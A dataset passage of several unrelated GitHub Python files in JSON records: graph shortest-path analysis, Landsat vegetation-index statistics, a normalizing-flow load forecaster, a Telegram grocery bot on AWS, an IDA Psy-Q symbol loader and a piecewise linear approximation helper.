header_index.pop(-num) # remove this header since it has been matched with a footer\r\n                except PIL.UnidentifiedImageError:\r\n                    print(\"PILUIE\")\r\n                num += 1\r\n\r\n    print(header_index)\r\n    print(len(header_index))\r\n    print(count)\r\n","repo_name":"shibin-george/Digital-Forensics-CS590K","sub_path":"jpeg_carver.py","file_name":"jpeg_carver.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3896455005","text":"import heapq\r\nfrom graafi3 import Graph\r\nfrom MCJuorukello import Pelaa_uw\r\n\r\n\"\"\"\r\nJUORUKELLO GRAAFIANALYYSI\r\n\r\nohjelma toimii painottomilla kaarilla täysin oikein, aseta painottoman graafin\r\nnimi vain riville 84 (\"xxx\")   xxx:n tilalle\r\n\r\nTehtävänä on analysoida graafi sen perusteella kuinka usein\r\nsolmu on lyhimmällä polulla jostain solmusta toiseen\r\n\r\nTehtävä on toteutettu analysoimalla kaikki lyhimmät polut graafissa jokaisesta\r\nsolmusta jokaiseen solmuun\r\n\r\nNäin on yksinkertaista pitää kirjaa siitä kuinka monta kertaa solmu esiintyy\r\nlyhimmällä polulla\r\n\"\"\"\r\n#bfs toimii tilanteessa kun ei tarvi ottaa kaarien hintaa huomioon\r\ndef bfs(graph, start, end):\r\n\r\n    #parents pitää vanhemmuussuhteista kirjaa\r\n    parents = {start: None}\r\n\r\n    #perinteinen bfs looppi\r\n    queue = [start]\r\n    while queue:\r\n        node = queue.pop(0)\r\n        if node == end:\r\n            break\r\n        for neighbor in graph.adj(node):\r\n            if neighbor not in parents:\r\n                parents[neighbor] = node\r\n                queue.append(neighbor)\r\n\r\n    #virhetilanne jossa viimeisellä solmulla ei ole\r\n    #vanhemmuusuhdetta = kytkemätön graafi/solmu.\r\n    #paluuarvona none\r\n    if end not in parents:\r\n        return None\r\n\r\n    #reitin järjestäminen vanhemmuuksista\r\n    path = [end]\r\n    while path[-1] != start:\r\n        path.append(parents[path[-1]])\r\n    path.reverse()\r\n\r\n    #palauttaa reitin\r\n    return path\r\n\r\n\r\n#funktion tehtävänä on analysoida graafista, kuinka usein solmu on millä tahansa\r\n#lyhimmällä (bfs) polulla\r\ndef analyze_shortest_path(graph):\r\n    #shortestcounter pitää kirjaa kuinka montaa kertaa solmu on lyhimmällä polulla\r\n    shortestcounter={}\r\n\r\n    #dict arvojen alustaminen\r\n    for i in graph.V:\r\n        shortestcounter[i]=0\r\n\r\n    #looppi käy läpi reitit jokaisesta solmusta jokaiseen solmuun etsien\r\n    #lyhimmän polun bfs:llä\r\n    for u in graph.V:\r\n        for v in graph.V:\r\n            if u == v:\r\n                continue\r\n\r\n            #bfs etsitty polku on shortestpath\r\n            shortestpath = bfs(graph, u, v)\r\n\r\n            if shortestpath is not None:\r\n                #looppi lisää solmun laskuriin yhden jos se on käydyllä polulla\r\n                for node in shortestpath:\r\n                    shortestcounter[node] += 1\r\n\r\n    #paluuarvona tulee laskurin avaimet listana järjestettynä avaimen arvon\r\n    #perusteella(=kuinka monta kertaa esiintynyt lyhimmällä polulla)\r\n    a = sorted(shortestcounter.keys(),\r\n            key=lambda x: shortestcounter[x], reverse=True)\r\n    return a[:10]\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    G=Graph(\"preferential_random_weighted_102_817\")\r\n    x=analyze_shortest_path(G)\r\n    y=Pelaa_uw(G,10000)\r\n    print(f\"{len(set(x) & set(y))}\")\r\n","repo_name":"hurtelli/MATH.APP.270","sub_path":"vk7/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2777,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13977125016","text":"import sys\nimport datetime\nimport glob\nimport h5py as hdf\nimport numpy as np\n\n\ndef message(char_string):\n    \"\"\"\n    prints a string to the terminal and flushes the buffer\n    \"\"\"\n    print(char_string)\n    sys.stdout.flush()\n    return\n\n\ndef eval_stats(vals, q):\n    exclude = np.argwhere(vals <= 0.0)\n    if len(exclude) > 0:\n        vals = np.delete(vals, exclude)\n    nvals = len(vals)\n    if nvals == 0:\n        qval = 0.0\n        median = 0.0\n        mean = 0.0\n        std = 0.0\n        maximum = 0.0\n    elif nvals == 1:\n        qval = vals[0]\n        median = vals[0]\n        mean = vals[0]\n        std = 0.0\n        maximum = vals[0]\n    else:\n        qval = np.percentile(vals, q)\n        median = np.percentile(vals, 50)\n        mean = np.mean(vals)\n        std = np.std(vals)\n        maximum = np.amax(vals)\n    return nvals, qval, median, mean, std, maximum\n\n\nmessage(' ')\nmessage('process_L57_08.py started at %s' % datetime.datetime.now().isoformat())\nmessage(' ')\n#\nif len(sys.argv) < 7:\n    message('input error: need VI calculation details')\n    sys.exit(1)\n    # footprint = 'p026r027'\n    # year_begin = 1984\n    # year_end = 2013\n    # vi_name = 'NDII'\n    # pctile = 90\nelse:\n    footprint = sys.argv[2]\n    year_begin = int(sys.argv[3])\n    year_end = int(sys.argv[4])\n    vi_name = sys.argv[5]\n    pctile = int(sys.argv[6])\n#\nif len(sys.argv) < 2:\n    message('input error: need directory path')\n    sys.exit(1)\nelse:\n    path = sys.argv[1]\n#\nmessage('working in directory %s' % path)\nyears = np.arange(year_begin, year_end + 1).astype(int)\nflist = sorted(glob.glob('%s/*_clipped.h5' % path))\nh5list = []\nfor file_path in flist:\n    path_parts = file_path.split('/')\n    h5yr = int(path_parts[-1][:4])\n    if h5yr in years:\n        h5list.append(file_path)\nmessage('found %d Landsat files in specified date range' % len(h5list))\nnfiles = len(h5list)\n#\nmessage('extracting metadata info and union (forest) mask from %s' % h5list[0])\nwith hdf.File(h5list[0], 'r') as h5infile:\n    projection = np.copy(h5infile['meta/projection'])\n    clipbounds = np.copy(h5infile['meta/clip_bounds'])\n    union_mask = np.copy(h5infile['masks/forest/union'])\nUTM_zone = int(projection[1].tolist())\nUTM_bounds = clipbounds[0:4]\nnrows, ncols = np.shape(union_mask)\nunion_npix = np.sum(union_mask)\n#\ndates_all = []\nmessage('collecting %d %s grids' % (nfiles, vi_name))\nvi_cube = np.zeros((nfiles, nrows, ncols))\nfor k, scene_path in enumerate(h5list):\n    path_parts = scene_path.split('/')\n    scene_file = path_parts[-1]\n    message('- extracting grids from %s' % scene_file)\n    yyyy = scene_file[:4]\n    doy = scene_file[9:12]\n    date = '%s_%s' % (yyyy, doy)\n    dates_all.append(date)\n    with hdf.File(scene_path, 'r') as h5infile:\n        scswumask = np.copy(h5infile['masks/scswumask'])\n        vi_grid = np.copy(h5infile['level3/' + vi_name.lower()])\n        vi_grid_masked = vi_grid * scswumask\n        vi_cube[k, :, :] = vi_grid_masked[:, :]\n    area_pct = float(np.sum(scswumask)) / float(union_npix) * 100.0\n    message('-- grid %s has %d available pixels (%.1f%s of full union mask)' %\n            (date, np.sum(scswumask), area_pct, '%'))\nmessage(' ')\n#\noutfile = '%s/%d-%d_%s_%s_grids.h5' % \\\n    (path, year_begin, year_end, footprint, vi_name.lower())\nmessage('writing %s datacube to %s' % (vi_name, outfile))\nwith hdf.File(outfile, 'w') as h5outfile:\n    h5outfile.create_dataset('meta/filename', data=outfile)\n    h5outfile.create_dataset('meta/created',\n                             data=datetime.datetime.now().isoformat())\n    h5outfile.create_dataset('meta/by', data='M. Garcia, UW-Madison')\n    h5outfile.create_dataset('meta/last_updated',\n                             data=datetime.datetime.now().isoformat())\n    h5outfile.create_dataset('meta/at',\n                             data='process_L57_08 (union mask + vi datacube)')\n    h5outfile.create_dataset('meta/UTM_zone', data=UTM_zone)\n    h5outfile.create_dataset('meta/UTM_bounds', data=UTM_bounds)\n    h5outfile.create_dataset('union_mask', data=union_mask, dtype=np.int8,\n                             compression='gzip')\n    h5outfile.create_dataset('dates', data=dates_all, compression='gzip')\n    datapath = '%s_cube' % vi_name.lower()\n    h5outfile.create_dataset(datapath, data=vi_cube, dtype=np.float32,\n                             compression='gzip')\nmessage(' ')\n#\nmessage('evaluating %s values at %d union mask locations' %\n        (vi_name, union_npix))\nvi_nvals = np.zeros(np.shape(union_mask))\nvi_qval = np.zeros(np.shape(union_mask))\nvi_median = np.zeros(np.shape(union_mask))\nvi_mean = np.zeros(np.shape(union_mask))\nvi_std = np.zeros(np.shape(union_mask))\nvi_max = np.zeros(np.shape(union_mask))\nevaluated = 0\nfor j in range(nrows):\n    for i in range(ncols):\n        if union_mask[j, i] == 1:\n            returns = eval_stats(vi_cube[:, j, i], pctile)\n            vi_nvals[j, i] = returns[0]\n            vi_qval[j, i] = returns[1]\n            vi_median[j, i] = returns[2]\n            vi_mean[j, i] = returns[3]\n            vi_std[j, i] = returns[4]\n            vi_max[j, i] = returns[5]\n            evaluated += 1\n            if evaluated % 1E5 == 0:\n                message('-- %d pixels evaluated' % evaluated)\nmessage('-- %d pixels evaluated' % evaluated)\nmessage(' ')\n#\nmessage('writing %s statistics to %s' % (vi_name, outfile))\nwith hdf.File(outfile, 'r+') as h5outfile:\n    del h5outfile['meta/last_updated']\n    h5outfile.create_dataset('meta/last_updated',\n                             data=datetime.datetime.now().isoformat())\n    del h5outfile['meta/at']\n    h5outfile.create_dataset('meta/at', data='process_L57_08 (vi stats)')\n    datapath = '%s_nvals' % vi_name.lower()\n    h5outfile.create_dataset(datapath, data=vi_nvals, dtype=np.float32,\n                             compression='gzip')\n    datapath = '%s_%dpctile' % (vi_name.lower(), pctile)\n    h5outfile.create_dataset(datapath, data=vi_qval, dtype=np.float32,\n                             compression='gzip')\n    datapath = '%s_median' % vi_name.lower()\n    h5outfile.create_dataset(datapath, data=vi_median, dtype=np.float32,\n                             compression='gzip')\n    datapath = '%s_mean' % vi_name.lower()\n    h5outfile.create_dataset(datapath, data=vi_mean, dtype=np.float32,\n                             compression='gzip')\n    datapath = '%s_std' % vi_name.lower()\n    h5outfile.create_dataset(datapath, data=vi_std, dtype=np.float32,\n                             compression='gzip')\n    datapath = '%s_max' % vi_name.lower()\n    h5outfile.create_dataset(datapath, data=vi_max, dtype=np.float32,\n                             compression='gzip')\nmessage(' ')\n#\nmessage('process_L57_08.py completed at %s' %\n        datetime.datetime.now().isoformat())\nmessage(' ')\nsys.exit(0)\n\n# end process_L57_08.py\n","repo_name":"megarcia/L57stack","sub_path":"source/process_L57_08.py","file_name":"process_L57_08.py","file_ext":"py","file_size_in_byte":6796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73864345701","text":"import NF\nimport json\nimport matplotlib.pyplot as plt\n\nimport numpy as np\nimport torch\nfrom sklearn.preprocessing import StandardScaler\nimport plotly.express as px\nimport plotly.graph_objs as go\n\nfrom metrics import *\n\n\ndef generate_days(flow, device, n_scen, n_gendays):\n    print(\"Generating scenarios based on given contexts..\")\n    scens = []\n    for i in range(n_gendays):\n        print(\"\\r{}/{} day generation.\".format(i, n_gendays), end=\"\")\n\n        # scenarios from GNF\n        scen_samples = []\n        for j in range(n_scen):\n            z = torch.randn(192).unsqueeze(0).to(device)\n            scen_sample = flow.invert(z).detach().cpu().numpy().reshape((-1))\n            scen_samples.append(scen_sample)\n        scens.append(scen_samples)\n\n    scens = np.array(scens)\n    print(\"\\nDone!\\n\")\n    return scens\n\n\ndef main():\n    train_load = np.load(\"../../../02_datasets/Sets/train_load.npy\")\n    val_load = np.load(\"../../../02_datasets/Sets/val_load.npy\")\n\n    train_load = train_load[:int(train_load.shape[0] / 10) * 10]\n    val_load = val_load[:int(val_load.shape[0] / 10) * 10]\n\n    BATCH_SIZE = 10\n\n    train_std_target = StandardScaler()\n    train_load = train_std_target.fit_transform(train_load)\n    train_load = train_load.reshape((-1, BATCH_SIZE, 192))\n\n    val_std_target = StandardScaler()\n    val_load = val_std_target.fit_transform(val_load)\n    val_load = val_load.reshape((-1, BATCH_SIZE, 192))\n\n    device = None\n    if torch.cuda.is_available():\n        device = 'cuda'\n    else:\n        device = 'cpu'\n    print('device used: ', device, \"\\n\")\n\n    # ----------------------------------------- NF -------------------------------------------\n    DICT_MODEL = \"NoContext\"\n    f = open('../models_files/{}.json'.format(DICT_MODEL))\n    conditioner_args = json.load(f)\n    nb_steps = conditioner_args.pop(\"nb_steps\")\n\n    nb_epoch = 100\n\n    conditioner = NF.AutoregressiveConditioner(**conditioner_args)\n    normalizer = NF.AffineNormalizer()\n\n    flow_steps = [NF.NormalizingFlowStep(conditioner, normalizer)]\n    NF_flow = NF.FCNormalizingFlow(flow_steps, NF.NormalLogDensity())\n    NF_flow.to(device)\n\n    trained = True\n    MODEL_PATH = \"NF.pt\".format(DICT_MODEL)\n    if trained:\n        print('Loading model from {}..\\n'.format(MODEL_PATH))\n        NF_flow.load_state_dict(torch.load(MODEL_PATH))\n    else:\n        opt = torch.optim.Adam(NF_flow.parameters(), 1e-3, weight_decay=1e-5)\n        train_loss = []\n        val_loss = []\n        print(\"NF start training\")\n        for epoch in np.arange(nb_epoch):\n            loss_tot = 0\n            for X in train_load:\n                cur_X = torch.Tensor(X).float().to(device)\n\n                z, jac = NF_flow(cur_X)\n                loss = NF_flow.loss(z, jac)\n                loss_tot += loss.detach()\n                opt.zero_grad()\n                loss.backward()\n                opt.step()\n\n            if epoch % 1 == 0:\n                mean_train_loss = loss_tot / (train_load.shape[0])\n                train_loss.append(mean_train_loss.cpu())\n                print(\"Epoch {} Mean Loss: {:3f}\".format(epoch, mean_train_loss))\n\n        torch.save(NF_flow.state_dict(), MODEL_PATH)\n        print('Saving model to {}..'.format(MODEL_PATH))\n\n    val_load = val_load.reshape((-1, 192))\n\n    n_scen = 10\n    n_gendays = 10\n    NF_scens = generate_days(NF_flow, device, n_scen, n_gendays)\n\n    # plot some of generated days and correlation plots\n\n    directory = \".\"\n    target = val_std_target.inverse_transform(val_load[:n_gendays])\n    scens = train_std_target.inverse_transform(NF_scens[:n_gendays].reshape(-1, 192))\n    scens = scens.reshape(target.shape[0], n_scen, 192)\n    plot_days_scenarios(directory, target, scens[:n_gendays])\n    plot_corr_scens(directory=directory, days_scens=NF_scens)\n    \"\"\"\n    #compute scores\n    print(\"CRPS score\")\n    NF_CRPS = []\n    for day_scens, target in zip(NF_scens, val_load):\n        day_CRPS = instant_CRPS(day_scens, target)\n        NF_CRPS.append(day_CRPS)\n    NF_CRPS = np.array(NF_CRPS).reshape((-1))\n    with open('array_crps.npy', 'wb') as f:\n        np.save(f, NF_CRPS)\n    f.close()\n\n    print(\"Energy score\")\n    NF_es = energy_score(NF_scens, np.array(val_load))\n    NF_es_mean, NF_es_var = np.array(NF_es).mean(), np.array(NF_es).var()\n    print(NF_es_mean, NF_es_var, \"\\n\")\n\n    print(\"Variogram score\")\n    NF_vs = variogram_score(NF_scens, np.array(val_load), 1)\n    NF_vs_mean, NF_vs_var = np.array(NF_vs).mean(), np.array(NF_vs).var()\n    print(NF_vs_mean, NF_vs_var)\n\n    with open('array_es.npy', 'wb') as f:\n        np.save(f, NF_es)\n    f.close()\n    with open('array_vs.npy', 'wb') as f:\n        np.save(f, NF_vs)\n    f.close()\n    \"\"\"\n\nif __name__ == '__main__':\n    main()\n","repo_name":"bendelv/Inge-M2TFE_load-forecast-GNF","sub_path":"03_scripts/NF/NoContext/NFs.py","file_name":"NFs.py","file_ext":"py","file_size_in_byte":4723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1267848912","text":"import requests\nimport datetime\nfrom api import Dynamodb, website\nfrom bothandler import BotHandler\nimport boto3\ndynamodb = Dynamodb()\niot_bot = BotHandler()\n\ndef subscribe(chatid):\n    key = {\"chat_id\":chatid}\n    result = dynamodb.get(\"subscribe\",key)\n    if result:\n        #get subscriber status\n        subscribe = result['s_status']\n        if subscribe == 1:\n            return \"Already Subscribed!\"\n        else:\n            #change status\n            values = {\":stat\":1}\n            upd_expression = \"SET s_status = :stat\"\n            resp = dynamodb.update(\"subscribe\",key,upd_expression,values)\n            if resp:\n                return \"Status changed to subscribed!\"\n            else:\n                return \"An error occurred!\"\n    else:\n        #not in table, add a new entry\n        values = {\"chat_id\":chatid,\"s_status\":1}\n        resp = dynamodb.add(\"subscribe\",values)\n        if resp:\n            return \"Added to the subscriber list!\"\n        else:\n            return \"An error occurred!\"\n            \n\n        \n    \ndef unsubscribe(chatid):\n    key = {\"chat_id\":chatid}\n    result = dynamodb.get(\"subscribe\",key)\n    if result:\n        #user in database\n        subscribe = result['s_status']\n        if subscribe == 0:\n            return \"Already Not Subscribed!\"\n        else:\n            values = {\":stat\":0}\n            upd_expression = \"SET s_status = :stat\"\n            resp = dynamodb.update(\"subscribe\",key,upd_expression,values)\n            if resp:\n                return \"Status changed to unsubscribed!\"\n            else:\n                return \"An error occurred!\"\n    else:\n        return \"You have not subscribed before!\"\n\ndef toggle_barcode_status():\n    Key = {'id': 1}\n    result = dynamodb.get('barcode_status', Key)\n    if result:\n        mode = result['b_mode']\n        if mode == 0:\n            mode = 1\n        else:\n            mode = 0\n        print(mode)\n        ExpressionAttributeValues = {':val1': mode}\n        Key = {'id': 1}\n        UpdateExpression = 'SET b_mode = :val1'\n        resp = dynamodb.update('barcode_status', Key, UpdateExpression, ExpressionAttributeValues)\n        if resp:\n            if mode == 0:\n                return \"Barcode Scanner now in deduct mode!\"\n            else:\n                return \"Barcode Scanner now in add mode!\"\n        else:\n            return \"An error occurred!\"\n    \ndef grocery_list():\n    #fetch from inventory\n    #compare with threshold value in upc_product\n    inventory = dynamodb.get_all(\"inventory\")\n    items = \"\"\n    for x in inventory:\n        #fetch the threshold value\n        upc = x['upc']\n        qty = int(x['qty'])\n        upc_product = dynamodb.get(\"upc_product\", {\"upc\": upc})\n        threshold_value = int(upc_product['threshold'])\n        item_desc = upc_product['item_desc']\n        if qty <= threshold_value:\n            x = \"Item Description: {}, Quantity Left: {}\".format(item_desc,qty)\n            items = \"{}{}\\n\".format(items,x)\n    return items\ndef fridgeimage():\n    s3 = boto3.client(\"s3\")\n    x = s3.get_object(Bucket=\"imageawsbucket\",Key=\"image.jpg\")\n    image = x['Body'].read()\n    return image\ndef main():\n    new_offset = 0\n    print(\"Telegram bot launching...\")\n    while True:\n        all_updates=iot_bot.get_updates(new_offset)\n        \n        if len(all_updates) > 0:\n            for current_update in all_updates:\n                first_update_id = current_update['update_id']\n                if 'text' not in current_update['message']:\n                    first_chat_text='New member'\n                else:\n                    first_chat_text = current_update['message']['text']\n                first_chat_id = current_update['message']['chat']['id']\n                if 'first_name' in current_update['message']:\n                    first_chat_name = current_update['message']['chat']['first_name']\n                elif 'new_chat_member' in current_update['message']:\n                    first_chat_name = current_update['message']['new_chat_member']['username']\n                elif 'from' in current_update['message']:\n                    first_chat_name = current_update['message']['from']['first_name']\n                else:\n                    first_chat_name = \"unknown\"\n                \n                if first_chat_text == \"/togglestate\":\n                    new_offset = first_update_id + 1\n                    iot_bot.send_message(first_chat_id, toggle_barcode_status())\n                elif first_chat_text == \"/website\":\n                    new_offset = first_update_id + 1\n                    iot_bot.send_message(first_chat_id, website)\n                elif first_chat_text == \"/subscribe\":\n                    new_offset = first_update_id + 1\n                    iot_bot.send_message(first_chat_id, subscribe(first_chat_id))\n                elif first_chat_text == \"/unsubscribe\":\n                    new_offset = first_update_id + 1\n                    iot_bot.send_message(first_chat_id, unsubscribe(first_chat_id))\n                elif first_chat_text == \"/grocerylist\":\n                    new_offset = first_update_id + 1\n                    iot_bot.send_message(first_chat_id, grocery_list())\n                elif first_chat_text == \"/fridgeimage\":\n                    new_offset = first_update_id + 1\n                    iot_bot.send_message(first_chat_id, \"Image coming your way, hang tight!\")\n                    iot_bot.send_image(first_chat_id, \"Image of Fridge\",fridgeimage())\n                    print(\"After\")\nif __name__ == '__main__':\n    try:\n        main()\n    except KeyboardInterrupt:\n        exit()\n","repo_name":"amosngSP/IOT_SmartGrocery","sub_path":"telegram-python-bot/telegram_app.py","file_name":"telegram_app.py","file_ext":"py","file_size_in_byte":5581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13543507855","text":"\"\"\"\n\tLoadSymFile.py - IDA python script to load a Psy-Q .sym file into the current database.\n\t\n\tGrimdoomer\n\"\"\"\n\nimport idaapi\nimport idautils\nimport idc\nimport struct\nimport os\n\ndef main():\n\n\t# Refer to https://github.com/sanctuary/sym for symbol file format.\n\n\tsymbolCount = 0\n\t\n\t# Prompt the user for the sym file.\n\tfileName = AskFile(0, \"*.sym\", \"Psy-Q Sym File\")\n\t\n\t# Open the sym file for reading.\n\twith open(fileName, mode='rb') as file:\n\t\n\t\t# Get the size of the file.\n\t\tfile.seek(0, os.SEEK_END)\n\t\tfileSize = file.tell()\n\t\tfile.seek(0)\n\t\n\t\t# Check the header magic.\n\t\tmagicval = struct.unpack('I', file.read(4))[0]\n\t\tprint(\"= %s\" % str(magicval))\n\t\tif magicval != 0x01444E4D:\n\t\t\n\t\t\t# Invalid magic value.\n\t\t\tprint(\"Sym file \\\"%s\\\" is invalid!\" % fileName)\n\t\t\treturn\n\t\t\t\n\t\t# Skip next 4 bytes.\n\t\tfile.read(4)\n\t\t\n\t\t# Loop until we have read the entire file.\n\t\twhile file.tell() != fileSize:\n\t\t\n\t\t\t# Read symbol address and type.\n\t\t\tsymbolAddress = struct.unpack('I', file.read(4))[0]\n\t\t\tsymbolType = struct.unpack('B', file.read(1))[0]\n\t\t\tprint(\"Type=%x Offset=%d\" % (symbolType, file.tell()))\n\t\t\t\n\t\t\t# Check the symbol type and handle accordingly.\n\t\t\tif symbolType == 1 or symbolType == 2 or symbolType == 5 or symbolType == 6:\n\t\t\t\n\t\t\t\t# Symbol name.\n\t\t\t\tnameLength = struct.unpack('B', file.read(1))[0]\n\t\t\t\tsymbolName = file.read(nameLength).decode('utf-8')\n\t\t\t\t\n\t\t\t\t# Create the symbol name.\n\t\t\t\tidaapi.set_name(symbolAddress, str(symbolName), idaapi.SN_PUBLIC)\n\t\t\t\tsymbolCount += 1\n\t\t\t\t\n\t\t\telif symbolType == 0x80:\n\t\t\t\n\t\t\t\t# Increment current line number, NOP.\n\t\t\t\tpass\n\t\t\t\t\n\t\t\telif symbolType == 0x82:\n\t\t\t\n\t\t\t\t# Increment current line number by byte, NOP.\n\t\t\t\tlineSkip = struct.unpack('B', file.read(1))[0]\n\t\t\t\t\n\t\t\telif symbolType == 0x84:\n\t\t\t\n\t\t\t\t# Increment current line number by word, NOP.\n\t\t\t\tlineSkip = struct.unpack('I', file.read(2))[0]\n\t\t\t\t\n\t\t\telif symbolType == 0x86:\n\t\t\t\n\t\t\t\t# Set current line number, NOP.\n\t\t\t\tlineNumber = struct.unpack('I', file.read(4))[0]\n\t\t\t\t\n\t\t\telif symbolType == 0x88:\n\t\t\t\n\t\t\t\t# Set current line number and source file, NOP.\n\t\t\t\tlineNumber = struct.unpack('I', file.read(4))[0]\n\t\t\t\tfileNameLength = struct.unpack('B', file.read(1))[0]\n\t\t\t\tsourceFileName = file.read(fileNameLength).decode('utf-8')\n\t\t\t\t\n\t\t\telif symbolType == 0x8A:\n\t\t\t\n\t\t\t\t# End of line specifier, NOP.\n\t\t\t\tpass\n\t\t\t\t\n\t\t\telif symbolType == 0x8C:\n\t\t\t\n\t\t\t\t# Function start.\n\t\t\t\tframePointer = struct.unpack('H', file.read(2))[0]\n\t\t\t\tfunctionSize = struct.unpack('I', file.read(4))[0]\n\t\t\t\treturnRegister = struct.unpack('H', file.read(2))[0]\n\t\t\t\tmask = struct.unpack('I', file.read(4))[0]\n\t\t\t\tmaskOffset = struct.unpack('I', file.read(4))[0]\n\t\t\t\tlineNumber = struct.unpack('I', file.read(4))[0]\n\t\t\t\tfileNameLength = struct.unpack('B', file.read(1))[0]\n\t\t\t\tsourceFileName = file.read(fileNameLength).decode('utf-8')\n\t\t\t\tsymbolNameLength = struct.unpack('B', file.read(1))[0]\n\t\t\t\tsymbolName = file.read(symbolNameLength).decode('utf-8')\n\t\t\t\t\n\t\t\t\t# Make this code block a function.\n\t\t\t\tidc.MakeFunction(symbolAddress)\n\t\t\t\t\n\t\t\t\t# Put a comment in the function with extended info.\n\t\t\t\tidc.MakeComm(symbolAddress, str(\"FP: %d\\nFunction Size: 0x%x\\nReturn Register: r%d\\nMask: 0x%08x\\nMask Offset: %d\\nSource File Name: %s\\n Line Number: %d\" % \n\t\t\t\t\t(framePointer, functionSize, returnRegister, mask, maskOffset, sourceFileName, lineNumber)))\n\t\t\t\t\n\t\t\t\t# Create the symbol name.\n\t\t\t\tidaapi.set_name(symbolAddress, str(symbolName), idaapi.SN_PUBLIC)\n\t\t\t\tsymbolCount += 1\n\t\t\t\t\n\t\t\telif symbolType == 0x8E:\n\t\t\t\n\t\t\t\t# Function end, NOP.\n\t\t\t\tlineNumber = struct.unpack('I', file.read(4))[0]\n\t\t\t\t\n\t\t\telif symbolType == 0x90:\n\t\t\t\n\t\t\t\t# Block start, NOP.\n\t\t\t\tlineNumber = struct.unpack('I', file.read(4))[0]\n\t\t\t\t\n\t\t\telif symbolType == 0x92:\n\t\t\t\n\t\t\t\t# Block end, NOP.\n\t\t\t\tlineNumber = struct.unpack('I', file.read(4))[0]\n\t\t\t\t\n\t\t\telif symbolType == 0x94:\n\t\t\t\n\t\t\t\t# Def symbol type 1.\n\t\t\t\tdefClass = struct.unpack('H', file.read(2))[0]\t\t# See https://github.com/sanctuary/sym/blob/master/class.go\n\t\t\t\tdefType = struct.unpack('H', file.read(2))[0]\t\t# See https://github.com/sanctuary/sym/blob/master/type.go\n\t\t\t\tdefSize = struct.unpack('I', file.read(4))[0]\n\t\t\t\tdefNameLength = struct.unpack('B', file.read(1))[0]\n\t\t\t\tdefName = file.read(defNameLength).decode('utf-8')\n\t\t\t\t\n\t\t\t\t# Just leave a comment at the address for now.\n\t\t\t\tidc.MakeComm(symbolAddress, str(\"Class=%d Type=%d Size=%d\" % (defClass, defType, defSize)))\n\t\t\t\tsymbolCount += 1\n\t\t\t\t\n\t\t\telif symbolType == 0x96:\n\t\t\t\n\t\t\t\t# Def symbol type 2.\n\t\t\t\tdefClass = struct.unpack('H', file.read(2))[0]\t\t# See https://github.com/sanctuary/sym/blob/master/class.go\n\t\t\t\tdefType = struct.unpack('H', file.read(2))[0]\t\t# See https://github.com/sanctuary/sym/blob/master/type.go\n\t\t\t\tdefSize = struct.unpack('I', file.read(4))[0]\n\t\t\t\tdimsLength = struct.unpack('H', file.read(2))[0]\n\t\t\t\tdimensions = []\n\t\t\t\tfor i in range(dimsLength):\n\t\t\t\t\tdimensions.append(struct.unpack('I', file.read(4))[0])\n\t\t\t\t\t\n\t\t\t\ttagLength = struct.unpack('B', file.read(1))[0]\n\t\t\t\ttag = file.read(tagLength).decode('utf-8')\n\t\t\t\tdefNameLength = struct.unpack('B', file.read(1))[0]\n\t\t\t\tdefName = file.read(defNameLength).decode('utf-8')\n\t\t\t\t\n\t\t\t\t# Just leave a comment at the address for now.\n\t\t\t\tidc.MakeComm(symbolAddress, str(\"Class=%d Type=%d Size=%d Dims=%d Tag=%s\" % (defClass, defType, defSize, dimsLength, tag)))\n\t\t\t\tsymbolCount += 1\n\t\t\t\t\n\t\t\telif symbolType == 0x98:\n\t\t\t\n\t\t\t\t# File overlay.\n\t\t\t\toverlaySize = struct.unpack('I', file.read(4))[0]\n\t\t\t\toverlayID = struct.unpack('I', file.read(4))[0]\n\t\t\t\t\n\t\t\t\t# Leave a comment with the overlay information.\n\t\t\t\tidc.MakeComm(symbolAddress, str(\"Overlay Size=%d ID=%d\" % (overlaySize, overlayID)))\n\t\t\t\t\n\t\t\telif symbolType == 0x9A:\n\t\t\t\n\t\t\t\t# Set active overlay, NOP.\n\t\t\t\tpass\n\t\t\t\t\n\t\t\telif symbolType == 0x9C:\n\t\t\t\n\t\t\t\t# Not sure what this one is...\n\t\t\t\tfile.read(28)\n\t\t\t\tfileNameLength = struct.unpack('B', file.read(1))[0]\n\t\t\t\tsourceFileName = file.read(fileNameLength).decode('utf-8')\n\t\t\t\tfunctionNameLength = struct.unpack('B', file.read(1))[0]\n\t\t\t\tfunctionName = file.read(functionNameLength).decode('utf-8')\n\t\t\t\t\n\t\t\telse:\n\t\t\t\n\t\t\t\t# Unsupported symbol type.\n\t\t\t\tprint(\"Symbol type 0x%02x at offset %d is unsupported, aborting!\" % (symbolType, file.tell()))\n\t\t\t\treturn\n\t\t\t\n\t# Print the results.\n\tprint(\"Labeled %d symbols!\" % symbolCount)\n\t\nmain()","repo_name":"grimdoomer/IDAPythonScripts","sub_path":"src/Symbols/LoadSymFile.py","file_name":"LoadSymFile.py","file_ext":"py","file_size_in_byte":6308,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"9761171518","text":"\nfrom external.simple_segment import segment\nfrom external.simple_segment import fit\nimport numpy as np\n\ndef PLA(data, windowScale=None, maxError=None, windowingType='top down', segmentType='interpolate'):\n\n    # Implemented via Nick Foubert's simple-segment package\n    # https://github.com/NickFoubert/simple-segment\n\n    if maxError is not None:\n        pass\n\n    else:\n\n        if windowScale is None:\n            windowScale = len(data)/100\n            print('WARNING: Neither error of window scale specified, assuming window scale of', windowScale, 'points.')\n\n        import pandas as pd\n\n        df = pd.DataFrame(data)\n        stds = df.rolling(windowScale).std()\n        meanSTDs = np.mean( stds.values[windowScale:])\n        maxError = 100*meanSTDs # not really sure why, but this seems to work. Fundamental algorithms need to be re-written to make a bit more sense\n\n\n\n    error = fit.sumsquared_error\n\n    if windowingType == 'top down':\n        window = segment.topdownsegment\n    elif windowingType == 'bottom up':\n        window = segment.bottomupsegment\n    elif windowingType == 'sliding':\n        window = segment.slidingwindowsegment\n    else:\n        raise ValueError('Unknown windowing type')\n\n    if segmentType == 'interpolate':\n    